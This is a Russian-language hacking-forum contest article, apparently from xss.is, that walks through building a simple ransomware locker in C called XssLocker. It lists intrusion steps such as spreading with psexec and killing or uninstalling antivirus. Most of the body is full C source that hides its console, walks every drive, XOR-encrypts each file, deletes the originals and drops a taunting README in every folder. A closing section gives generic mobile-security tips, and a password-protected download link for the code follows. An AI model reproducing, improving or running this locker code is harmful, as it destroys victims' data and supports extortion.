XssLocker - Локер для чайников

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
7,534
Реакции
36
11677

Содержание:

1. Предисловие от автора
2. Вступление
3. Почему С
4. Исследования
5. Код
6. Как защититься
7. Послесловие

1. Предисловие от автора

«Она так держит сигарету,
Как-будто это — целый мир,
Который ей подарен Богом
И на который ей плевать.»​​


Доброго времени суток, дорогой читатель!

Хочу поделится немного своими наработками и небольшим опытом. Да, я никогда не писал локер ранее. Больше того, я никогда серьёзно не задавался темой программирования данного софта, но у меня есть иного плана «сетевой» опыт, и, если сложить всё воедино, мы можем получить вполне приятный и интересный результат в виде исследований.

Данная статья — не посыл к действию, а скорее попытка изучить материал через практическую работу.



2. Вступление

Последние мировые тенденции приводят к тому, что люди тратят большую часть своей жизни, как профессиональной, так и личной, в сети Интернет. Однако мало кто из них, реально мало, осознает, что кибер-пространство — это новый и более изощренный плацдарм для всякого рода кибер-угроз.


Если изучить предысторию локеров, то станет понятно, что это новое семейство программ-вымогателей (ransomware), чья бизнес-модель (да, вредоносные программы – это бизнес для кого-то!) основана на вымогательстве денег у пользователей. Недаром этот вид деятельности классифицируется и расценивается как «терроризм». И об этом стоит всегда помнить, чем бы вы не планировали заниматься.



3. Почему С

C — один из старейших языков, который не может быть заменен каким-либо другим языком, поскольку он является своего рода “ядром” многих операционных систем. Первоначально С был разработан Д. М. Ричи для операционной системы UNIX в Bell Labs, а реализован впервые на компьютере DEC PDP-11 в 1972 году.

Перед перечислением преимуществ сразу скажу, что для нас самым важным является его скорость работы и довольно маленький размер exe после компилирования.


Преимущества языка Си:


  1. Как язык среднего уровня, C сочетает в себе функции языков высокого и низкого уровня. Он может использоваться для низкоуровневого программирования, такого как сценарии для драйверов и ядер, а также поддерживает функции языков программирования высокого уровня, таких как сценарии для программных приложений и т.д.​​
  2. C — это язык структурированного программирования, который позволяет разбить сложную программу на более простые программы, называемые функциями. Это также позволяет свободное перемещение данных через эти функции.​​
  3. Различные функции C, включая прямой доступ к аппаратным API на уровне машины, наличие компиляторов C, детерминированное использование ресурсов и динамическое распределение памяти, делают язык C оптимальным выбором для приложений сценариев и драйверов встроенных систем.​​
  4. Язык C чувствителен к регистру, что означает, что строчные и прописные буквы обрабатываются по-разному.​​
  5. C обладает высокой переносимостью и используется для создания сценариев системных приложений, которые составляют основную часть операционной системы Windows, UNIX и Linux.​​
  6. C — это язык программирования общего назначения, который может эффективно работать с корпоративными приложениями, играми, графикой и приложениями, требующими вычислений и т.д.​​
  7. Язык Си имеет богатую библиотеку, которая предоставляет ряд встроенных функций. Он также предлагает динамическое распределение памяти.​​
  8. C быстро реализует алгоритмы и структуры данных, ускоряя вычисления в программах. Это позволило использовать C в приложениях, требующих более высоких степеней вычислений, таких как MATLAB и Mathematica.​​


4. Исследования

Для начала немного предыстории.

Внимательно изучив поведение различных криптолокеров и другой рансомвари, можно заметить вполне не меняющуюся тенденцию использовать стандартные средства операционной системы и среды. Из многих возможностей, можно выделить несколько крайне важных моментов.

Для таргетированного лока нам важно:

1) определять dns suffix через команду «ipconfig /all»
2) для распространения по сети использовать psexec
3) список процессов - определять антивирусные решения, сравнивать по списку и глушить (либо делать uninstall – жестко, но эффективно, нам же всё равно, главное — результат шифрования)

Попадая в систему, некоторые локеры используют следующие шаги в командной строке:


Код:
whoami net user net group


И вот такую схему (на примере WastedLocker):

11678


Почитать автора статьи можно здесь.


5. Код

« – Пилите, Шура, пилите. Они золотые!» © х\ф «Золотой телёнок»

Цитировать эту фразу без привязки к контексту трудно. Так и возникло золото. Но я всегда знал, что никакого "золота" там никогда не было.

Итак.
XssBot у нас уже есть (если что — это шутка, автор не претендует на чужие разработки). Пилим локер.

11679


Настало время евГениального кода, он также не претендует на место лучшего и сделан, скорее, для ознакомления, ибо описывать создание боевого локера чревато последствиями.

Простейшая схема работы:

11680



Начнем с объявления переменных, структур и функций:


Код:
 		#include "Windows.h" #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <dirent.h> #include <sys/types.h>  #define AND & #define XOR ^ #define NOT !  int i = 0; FILE *buffer; FILE *ciphered; FILE *readme; float sharedkey[10] = {0.65,100,0.365,0,25.9,999,5,12.58,7.0214,103.126}; float precalculated;  struct data_chars {     char current_char;     char ciphered_char;     char pre_ciphered_char; } data;  struct cipher_attrib {     int password;     char file[500];     char c_file[500];     char readmsg[500]; } c_attrib;  void lineCounter(char *fileName); void recursiveSearch(char *basePath, const int root); int ch, number_of_lines = 0;  int main(void) {     // Прячем консоль при запуске     HWND hWin = GetForegroundWindow();     ShowWindow(hWin, SW_HIDE);      DIR *dirp;     struct dirent *direntp;     c_attrib.password = 900;


Функция рекурсивного поиска директорий:


Код:
 		void recursiveSearch(char *basePath, const int root) {     char dirlist[2048];     struct dirent *dp;     DIR *dir = opendir(basePath);     FILE *paths;      if (!dir)         return;      // Если dir является директорией запустится цикл while     while ((dp = readdir(dir)) != NULL)     {         if (strcmp(dp->d_name, ".") != 0 && strcmp(dp->d_name, "..") != 0)         {             // Копируем basePath и // в dirlist             strcpy(dirlist, basePath);             strcat(dirlist, "//");             strcat(dirlist, dp->d_name);             // Если dirlist является директорией записываем путь в текстовый файл             DIR *directory = opendir(dirlist);             if (directory != NULL){                 // Открываем файл                 paths = fopen("C://Windows//Temp//filenames.txt", "a");                 // Записываем dirlist в файл                 fprintf(paths, "%s\n", dirlist);                 // Закрываем файл                 fclose(paths);             }             recursiveSearch(dirlist, root + 2);         }     }     closedir(dir); }


В функции main создадим массив с путями к дискам и запустим recursiveSearch в цикле for:


Код:
 		char dirlist[104][128] = {"A://", "B://", "C://", "D://", "E://", "F://", "G://", "H://", "I://", "J://", "K://", "L://", "M://", "N://", "O://", "P://", "Q://", "R://", "S://", "T://", "U://", "V://", "W://", "X://", "Y://", "Z://"};      int zero;     for(zero = 0; zero <= 104; zero++ ){         recursiveSearch(dirlist[zero], 0);     }



11681


Рекурсивный поиск директорий​​


Чтобы создать массив нам нужно знать точное к-во элементов, для этого создадим функцию lineCounter которая “прочитает” все строки и запишет их количество в переменную:


Код:
 		void lineCounter(char *fileName){     FILE* myfile = fopen(fileName, "r");     do{         ch = fgetc(myfile);         if(ch == '\n')             number_of_lines++;     }     while (ch != EOF);     if(ch != '\n' && number_of_lines != 0)         number_of_lines++;     fclose(myfile); }



В main вызываем функцию lineCounter и после нее записываем построчно пути к папкам в массив:


Код:
 		char *fileName = "filenames.txt";     lineCounter(fileName);      char pathtofiles[number_of_lines][2048];     FILE *fp = fopen(fileName, "r");     char chunk[128];     int oo = 0;     // Построчно считываем пути и записываем их в массив     while(fgets(chunk, sizeof(chunk), fp) != NULL) {         // Перевод каретки мы убираем, иначе у нас не выйдет “ходить” по директориям         strtok(chunk, "\n");         strcpy(pathtofiles[oo], chunk);         oo=oo+1;     }     // Закрываем и удаляем файл     fclose(fp);     remove(fileName);


Теперь самое интересное, локер:


Код:
 		 int a = 0;     // Пока а меньше или равно к-ву строк(элементов в массиве) цикл будет работать     while(a <= number_of_lines){         char* path = pathtofiles[a];         a=a+1;         dirp = opendir(path);         while ((direntp = readdir(dirp)) != NULL)         {           strcpy(c_attrib.file, path);           strcat(c_attrib.file, "/");           strcat(c_attrib.file, direntp -> d_name);           strcpy(c_attrib.c_file, path);           strcat(c_attrib.c_file, "/");             if((strcmp(direntp -> d_name, ".") != 0)  && (strcmp(direntp -> d_name, "..") != 0))             {                 buffer = fopen(c_attrib.file, "r"); // Открыаем найденный файл                 if(buffer == NULL)                 {                     continue;                 }                 strcat(c_attrib.c_file, direntp -> d_name);                 strcat(c_attrib.c_file, ".chairs"); // Добавляем расширение к имени существующего файла                 ciphered = fopen(c_attrib.c_file, "w+"); // Создаем зашифрованный файл                 if(ciphered == NULL)                 {                     exit(EXIT_FAILURE);                 }                 while(!(feof(buffer)))                 {                     data.current_char = fgetc(buffer);                     data.pre_ciphered_char = (char)((int)data.current_char XOR c_attrib.password);                     for(i = 0;i <= 10;i++)                     precalculated = (sharedkey[i] * c_attrib.password);                     data.ciphered_char = (char)((int)data.pre_ciphered_char XOR (int)precalculated);                     fputc(data.ciphered_char,ciphered);                 }                 fclose(buffer);                 fclose(ciphered);             strcpy(c_attrib.file, path);             strcat(c_attrib.file, "/");             strcat(c_attrib.file, direntp -> d_name);                 remove(c_attrib.file);             }         }     // В каждой папке создаем файл README.txt и записываем в него текст     strcat(c_attrib.readmsg, path);     strcat(c_attrib.readmsg, "/");     strcat(c_attrib.readmsg, "README.txt");     readme = fopen(c_attrib.readmsg,"w+");     fprintf(readme,                     "\t--------------------------------------------------------------------- \n"                     "\t Вы думаете что я вас не переиграю? Что я не зашифрую ваши файлы? \n"                     "\t Я их зашифрую.\n"                     "\t https://www.youtube.com/watch?v=rtizjDbvIRU \n"                     "\t--------------------------------------------------------------------- \n\n"                     "\tМаэстро\n");     // Закрываем README.txt     fclose(readme);     }     return 0; }


«Утром — деньги, вечером — стулья.» © роман «Двенадцать стульев» советских писателей Ильфа и Петрова.

После запуска локера все файлы превратятся в нечто подобное:

11682



И:

11683





6. Как защититься

А как же защититься от такого типа угроз?

Я вас разочарую: никак. Сложно изменить мировоззрение людей в один клик. Я могу дать лишь несколько советов, однако читатель должен осознавать, что каждый из нас в какой-то определенный момент времени делает свой выбор и повлиять на него могут лишь косвенные обстоятельства, происходящие именно в тот конкретный момент времени.

Я не хочу далеко вдаваться в подробности как следует защищать периметр корпоративных сетей, для этого существует множество описанных ранее методов и схем, но хочу отметить следующее.

Тренд развития мобильных устройств заставляет побеспокоится и о том, где и что вы используете, насколько сохранны ваши данные в сети, если к ней подключаются сторонние устройства посредством Wi-Fi и обычного кабеля (даже простая подзарядка). Вспомним нашумевший и уже широкоизвестный O.MG cable.
Мобильные устройства присутствуют уже фактически в любой сфере.

Несколько важных шагов:


  • Включение PIN-кода либо Биометрического сканера (fingerprint) на мобильном устройстве.
    6-ти значный ПИН-код — это 1,000,000 возможных комбинаций против 10,000 с 4-х значным ПИН-кодом. Буквенно-цифровой пароль также способен усилить защиту.
  • Также советую использовать полное шифрование диска мобильного устройства. Мне доселе неизвестны ситуации с полной дешифровкой устройств, например, Samsung Note. Потребители иногда путают наличие PIN-кода или пароля на своем телефоне и шифрование телефона – они отличаются. Неавторизованный пользователь может получить доступ к информации, хранящейся на незашифрованном телефоне, подключив телефон к компьютеру со специализированным программным обеспечением, не зная PIN-кода или пароля и установив блокировку экрана ПИН-кода. Шифрование телефона и использование надежного пароля предотвращает этот тип атаки.
  • Будьте осторожны при использовании мобильного устройства в общественных точках доступа Wi-Fi. Следует помнить, что общедоступный Wi-Fi по своей сути небезопасен. Помните, что злоумышленнику легко создать беспроводную сеть с точно таким же именем, что затруднит проверку подлинности.
  • Используйте VPN для защиты данных. Если получить доступ к вашему мобильному устройству, несложно фиксировать IP-адреса, с которых бот на устройстве будет отстукивать на C&C сервер взломщика. Сверив полученный адрес по базе IP2location или MaxMind (и другим подобным, у некоторых хакеров есть целые списки, собранные вручную адреса точек выхода корпоративного сегмента локальных сетей в Интернет) можно вполне определить, подключалось ли это устройство к корпоративной сети и в какой момент времени. И если ответ утвердительный, можно смело следить за перемещением устройства и запустить удаленное управление в момент пребывания в сети корпорации (компании) на устройстве, либо выполнить загрузку дополнительных модулей, чтобы попасть внутрь Интранета, «перепрыгнуть» на локальный компьютер и начать распространение уже вручную дальше по сети с закреплением.
  • Держите ваше программное обеспечение в актуальном состоянии. Постоянно обновляйте программы и прошивку телефона.


7. Послесловие

Ни в коем случае автор данной статьи не претендует на чье-либо место, программный продукт или юмор в конкурсе. Так уж совпало, что статья была написана достаточно быстро (сутки).
Я очень надеюсь, что на следующий конкурс у меня появится и желание, и время доработать код и написать новую статью, внеся готовые уже модули, но которые ещё не были использованы в этой статье, такие как сканер Mac/IP компьютеров в локальной сети, реверс шелл, сканер портов и несколько других фич.

В данной статье не было упомянуто, что тенденции общей лени изживают адекватный подход, развивая новую весьма бизнес-модель как Ransomware-as-a-Service (RaaS). Автор статьи предпочитает самостоятельный подход к любому делу, в особенности темам с террористическим уклоном. Нужно не забывать, что рано или поздно придут за всеми, и осознавать разницу: иногда лучше вовремя «остановиться», чем вовремя «заехать»
yH5BAEAAAAALAAAAAABAAEAAAIBRAA7



Часть кода шифрования была взята отсюда.

Ваши стулья, сэр: https://vk.cc/axcuUB
Пароль: xss.is

Автор: RedBentley
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.